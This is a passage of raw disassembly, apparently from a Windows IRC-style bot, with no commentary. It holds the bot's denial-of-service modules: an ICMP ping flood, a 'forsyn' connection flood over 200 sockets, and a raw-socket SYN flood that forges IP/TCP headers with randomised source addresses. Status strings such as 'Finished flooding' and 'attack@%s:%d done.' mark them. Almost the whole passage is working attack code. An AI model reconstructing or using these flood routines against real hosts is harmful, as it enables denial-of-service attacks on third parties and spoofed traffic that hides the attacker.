loc_4264FB: ; CODE XREF: _294ADE7B:004263A4j
lea ecx, [ebp+4]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_42666A
push 95h
call sub_43034A
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_42653B
mov ecx, eax
call sub_4012CB
mov edi, eax
jmp short loc_42653D
; ---------------------------------------------------------------------------
loc_42653B: ; CODE XREF: _294ADE7B:0042652Ej
xor edi, edi
loc_42653D: ; CODE XREF: _294ADE7B:00426539j
push offset dword_43B600
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebp+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [edi+91h], ebp
call sub_401622
push eax
lea ecx, [edi+3Bh]
mov dword ptr [esp+50h], 6
call sub_401E65
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
push offset dword_43B600
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_401622
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+14h]
mov [edi+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
push offset dword_43B600
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+14h]
mov [edi+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
push offset dword_43B600
lea ecx, [esp+30h]
push 4
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+2Ch]
mov [edi+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401E65
mov al, [esi+93h]
mov [edi+8Fh], al
mov cl, [esi+94h]
mov [edi+90h], cl
mov ecx, edi
call sub_40137F
mov edi, [esp+54h]
loc_42666A: ; CODE XREF: _294ADE7B:0042650Dj
lea ecx, [ebp+0EAh]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_426687
mov [ebp+11Ch], al
loc_426687: ; CODE XREF: _294ADE7B:0042667Fj
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
loc_42668E: ; DATA XREF: sub_404890+1004o
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426770 proc near ; CODE XREF: sub_401983j
var_4 = dword ptr -4
push ecx
mov edx, ds:dword_44089C
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_426791
inc ecx
mov [eax+118h], ecx
loc_426791: ; CODE XREF: sub_426770+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4992AB
call sub_4011E5
xor eax, eax
pop esi
pop ecx
retn
sub_426770 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267F0 proc near ; CODE XREF: sub_4012CBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4267F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E2E
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_4370BC
call sub_401564
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4267F0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426860 proc near ; CODE XREF: sub_4011D6j
; _294ADE7B:00401F0Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401F19
test [esp+4+arg_0], 1
jz short loc_426878
push esi
call sub_430332
add esp, 4
loc_426878: ; CODE XREF: sub_426860+Dj
mov eax, esi
pop esi
retn 4
sub_426860 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426890 proc near ; CODE XREF: sub_401F19j
jmp sub_40146A
sub_426890 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4268B0 proc near ; CODE XREF: sub_40195Bj
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4268B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_401726
push eax
mov ecx, ebx
call sub_401726
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_401479
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_4013CF
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_401479
push eax
call sub_401776
add esp, 10h
test eax, eax
jz short loc_426974
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_401726
push eax
mov ecx, ebx
call sub_401726
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_42698E
; ---------------------------------------------------------------------------
loc_426974: ; CODE XREF: sub_4268B0+9Aj
mov ecx, ebx
call sub_401726
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_42698E: ; CODE XREF: sub_4268B0+C2j
lea ecx, [esp+34h+var_24]
call sub_401726
push eax
mov ecx, ebp
call sub_401479
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_48873B
call sub_40178F
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_4268B0 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A30 proc near ; CODE XREF: sub_401D48j
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_430390
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
call ds:dword_4B38A4
mov esi, eax
test esi, esi
jz short loc_426A9A
mov edi, ds:dword_4B38A8
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov ds:dword_4B244C, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov ds:dword_4B2450, eax
call edi
mov ecx, ds:dword_4B244C
mov ds:dword_4B2448, eax
test ecx, ecx
jz short loc_426A9A
mov edx, ds:dword_4B2450
test edx, edx
jz short loc_426A9A
test eax, eax
jz short loc_426A9A
mov al, [esp+0Bh]
test al, al
jz short loc_426AA5
loc_426A9A: ; CODE XREF: sub_426A30+1Bj
; sub_426A30+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_426AA5: ; CODE XREF: sub_426A30+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_426ABC
mov [esp+24h+arg_FFE8], eax
loc_426ABC: ; CODE XREF: sub_426A30+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_426ACF
mov ebp, 1
loc_426ACF: ; CODE XREF: sub_426A30+98j
call ecx
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_426B14
loc_426AE0: ; CODE XREF: sub_426A30+E2j
mov al, ds:byte_488B6A
test al, al
jz short loc_426B14
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call ds:dword_4B2448
inc esi
cmp esi, ebx
jl short loc_426AE0
loc_426B14: ; CODE XREF: sub_426A30+AEj
; sub_426A30+B7j
push edi
call ds:dword_4B2450
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_426A30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B70 proc near ; CODE XREF: sub_401776j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_4017C1
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401D48
add esp, 14h
retn
sub_426B70 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426BB0 proc near ; CODE XREF: sub_401E2Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426BB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401D2F
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_4013CF
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_4013CF
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_4013CF
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_4013CF
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_4370CC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426BB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426C50 proc near ; CODE XREF: sub_40146Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426C50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_4370CC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_4011F9
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_4011F9
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_4011F9
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401EC9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426C50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426D10: ; CODE XREF: _294ADE7B:loc_401640j
; _294ADE7B:00401FF0j
push esi
mov esi, ecx
call sub_40146A
test byte ptr [esp+8], 1
jz short loc_426D28
push esi
call sub_430332
add esp, 4
loc_426D28: ; CODE XREF: _294ADE7B:00426D1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426D40 proc near ; CODE XREF: sub_401ACDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426D40
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E2E
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_4370DC
call sub_401564
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426D40 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426DB0: ; CODE XREF: _294ADE7B:00401933j
; _294ADE7B:loc_4019CEj
push esi
mov esi, ecx
call sub_40173F
test byte ptr [esp+8], 1
jz short loc_426DC8
push esi
call sub_430332
add esp, 4
loc_426DC8: ; CODE XREF: _294ADE7B:00426DBDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426DE0 proc near ; CODE XREF: sub_40173Fj
jmp sub_40146A
sub_426DE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426E00 proc near ; CODE XREF: sub_40131Bj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426E00
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4982C3
mov [esp+2Ch+var_28], eax
loc_426E26: ; CODE XREF: sub_426E00+35j
cmp dword ptr [ecx], 0
jz short loc_426E37
add ecx, 78h
inc eax
cmp ecx, offset byte_498C23
jl short loc_426E26
loc_426E37: ; CODE XREF: sub_426E00+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_426FE9
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:49824Fh[eax*8]
call sub_401726
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
call ds:dword_4B3CB0
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_426EA0
mov dword ptr [ebp+68h], 5
loc_426EA0: ; CODE XREF: sub_426E00+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_4B2458
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_401726
push eax
mov ecx, esi
call sub_401726
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_401479
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_48873B
call sub_40178F
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_4B2658
push 0
push ecx
push offset sub_40128A
push 0
push 0
call ds:dword_4B3864
test eax, eax
mov ds:dword_4B265C, eax
jz short loc_426F3B
push offset word_4B22F8
push 5
push eax
push 0
push offset dword_4B2458
call sub_401393
add esp, 14h
mov [ebp+70h], eax
jmp short loc_426F6B
; ---------------------------------------------------------------------------
loc_426F3B: ; CODE XREF: sub_426E00+11Dj
mov ecx, esi
call sub_401726
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_401479
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_48873B
call sub_40178F
add esp, 18h
loc_426F6B: ; CODE XREF: sub_426E00+139j
lea ecx, [esp+38h+var_24]
call sub_4013CF
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_401726
push eax
mov ecx, esi
call sub_401726
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_401726
push eax
push offset dword_43B5F0
mov ecx, edi
call sub_401479
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_4011F9
pop edi
pop esi
pop ebp
loc_426FE9: ; CODE XREF: sub_426E00+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_426E00 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427080 proc near ; CODE XREF: sub_40128Aj
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:49824Fh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
call ds:dword_4B3CB0
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
call ds:dword_4B3CBC
cmp eax, 0FFFFFFFFh
jnz short loc_427116
push ebp
call ds:dword_4B3CA4
xor edx, edx
cmp eax, edx
jnz short loc_42710F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov ds:dword_488C69[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_42710F: ; CODE XREF: sub_427080+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_427116: ; CODE XREF: sub_427080+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_4271C6
mov ebx, ds:dword_4B3CAC
loc_427135: ; CODE XREF: sub_427080+140j
mov al, ds:byte_488B6A
test al, al
jz loc_4271C6
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_42714B: ; CODE XREF: sub_427080+EFj
push 0
push 1
push 2
call ebx
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_42716B
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
call ds:dword_4B3C74
loc_42716B: ; CODE XREF: sub_427080+D8j
add esi, 4
dec edi
jnz short loc_42714B
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_42717A: ; CODE XREF: sub_427080+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
call ds:dword_4B3CB4
add esi, 4
dec edi
jnz short loc_42717A
mov ecx, [ebp+68h]
push ecx
call ds:dword_4B38CC
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4271A3: ; CODE XREF: sub_427080+130j
mov edx, [esi]
push edx
call ds:dword_4B3CA8
add esi, 4
dec edi
jnz short loc_4271A3
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_427135
loc_4271C6: ; CODE XREF: sub_427080+A9j
; sub_427080+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov ds:dword_488C69[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_427080 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427250: ; CODE XREF: _294ADE7B:00401CADj
push 0FFFFFFFFh
push offset loc_434FA8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401E2E
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_4370EC
call sub_401564
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4272C0 proc near ; CODE XREF: _294ADE7B:0040164Aj
; sub_401762j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010E6
test [esp+4+arg_0], 1
jz short loc_4272D8
push esi
call sub_430332
add esp, 4
loc_4272D8: ; CODE XREF: sub_4272C0+Dj
mov eax, esi
pop esi
retn 4
sub_4272C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4272F0 proc near ; CODE XREF: sub_4010E6j
jmp sub_40146A
sub_4272F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427310 proc near ; CODE XREF: sub_401D5Cj
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427310
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_401726
push eax
mov ecx, ebx
call sub_401726
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_401479
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_4013CF
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_401479
push eax
call sub_401C8F
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_401726
push eax
mov ecx, ebx
call sub_401726
push eax
lea eax, [esp+44h+var_24]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+34h+var_24]
call sub_401726
push eax
mov ecx, ebp
call sub_401479
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_48873B
call sub_40178F
add esp, 14h
mov [esp+34h+var_4], 0FFFFFFFFh
lea ecx, [esp+34h+var_24]
call sub_4011F9
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427310 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427480 proc near ; CODE XREF: sub_401AB9j
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
var_78 = dword ptr -78h
var_74 = byte ptr -74h
var_72 = word ptr -72h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_67 = byte ptr -67h
var_66 = word ptr -66h
var_64 = word ptr -64h
var_62 = word ptr -62h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_28 = byte ptr -28h
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov byte ptr [esp+0B0h+var_98+3], 0
call sub_402018
push 0FFh
push esi
mov byte ptr [esp+0B8h+var_94], al
call sub_402018
push 0FFh
push esi
mov byte ptr [esp+0C0h+var_94+1], al
call sub_402018
push 0FFh
push esi
mov byte ptr [esp+0C8h+var_94+2], al
call sub_402018
add esp, 20h
cmp word ptr [esp+0A8h+arg_8], si
mov byte ptr [esp+0A8h+var_94+3], al
jnz short loc_427511
push 2710h
push 3E8h
mov byte ptr [esp+0B0h+var_98+3], 1
call sub_402018
add esp, 8
mov [esp+0A8h+arg_8], eax
loc_427511: ; CODE XREF: sub_427480+71j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov [esp+0C0h+var_5C], 1
call ds:dword_4B3C8C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+0A8h+var_90], edi
jnz short loc_427544
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_427544: ; CODE XREF: sub_427480+B5j
lea eax, [esp+0A8h+var_5C]
push 4
push eax
push 2
push esi
push edi
call ds:dword_4B3C88
cmp eax, 0FFFFFFFFh
jnz short loc_427567
loc_42755A: ; CODE XREF: sub_427480+28Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_427567: ; CODE XREF: sub_427480+D8j
mov ecx, [esp+0A8h+arg_8]
mov ebp, ds:dword_4B3CB0
push ecx
mov [esp+0ACh+var_4C], 2
call ebp
mov ebx, [esp+0A8h+arg_0]
push 28h
mov [esp+0ACh+var_4A], ax
mov [esp+0ACh+var_48], ebx
mov byte ptr [esp+0ACh+var_88], 45h
call ebp
push 4000h
mov word ptr [esp+0ACh+var_88+2], ax
mov word ptr [esp+0ACh+var_84], 1
mov word ptr [esp+0ACh+var_84+2], si
mov byte ptr [esp+0ACh+var_80], 80h
mov byte ptr [esp+0ACh+var_80+1], 6
mov word ptr [esp+0ACh+var_80+2], si
mov [esp+0ACh+var_78], ebx
mov [esp+0ACh+var_68], 50h
mov [esp+0ACh+var_67], 2
call ebp
mov [esp+0A8h+var_66], ax
mov [esp+0A8h+var_62], si
mov [esp+0A8h+var_6C], esi
call ds:dword_4B38D0
mov [esp+0A8h+var_60], eax
mov al, ds:byte_488B6A
test al, al
jz loc_4277BB
mov ebx, ds:dword_4B3A9C
mov byte ptr [esp+0A8h+var_50], 0
mov byte ptr [esp+0A8h+var_50+1], 6
jmp short loc_427605
; ---------------------------------------------------------------------------
loc_427603: ; CODE XREF: sub_427480+331j
xor esi, esi
loc_427605: ; CODE XREF: sub_427480+181j
mov edi, [esp+0A8h+var_8C]
mov edx, [esp+0A8h+arg_8]
inc edi
push edx
mov [esp+0ACh+var_8C], edi
mov [esp+0ACh+var_64], si
call ebp
push 14h
mov [esp+0ACh+var_72], ax
call ebp
mov word ptr [esp+0A8h+var_50+2], ax
mov eax, [esp+0A8h+var_94]
push eax
call ds:dword_4B3C78
mov esi, eax
mov dword ptr [esp+0A8h+var_7C], esi
call ebx
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp
mov word ptr [esp+0A8h+var_74], ax
call ebx
mov edi, eax
shl edi, 10h
call ebx
or edi, eax
push edi
call ebp
mov edx, [esp+0A8h+arg_0]
and eax, 0FFFFh
mov [esp+0A8h+var_70], eax
mov eax, [esp+0A8h+var_50]
mov dword ptr [esp+0A8h+var_3C], esi
mov ecx, 5
lea esi, [esp+0A8h+var_74]
lea edi, [esp+0A8h+var_30]
mov [esp+0A8h+var_38], edx
mov [esp+0A8h+var_34], eax
rep movsd
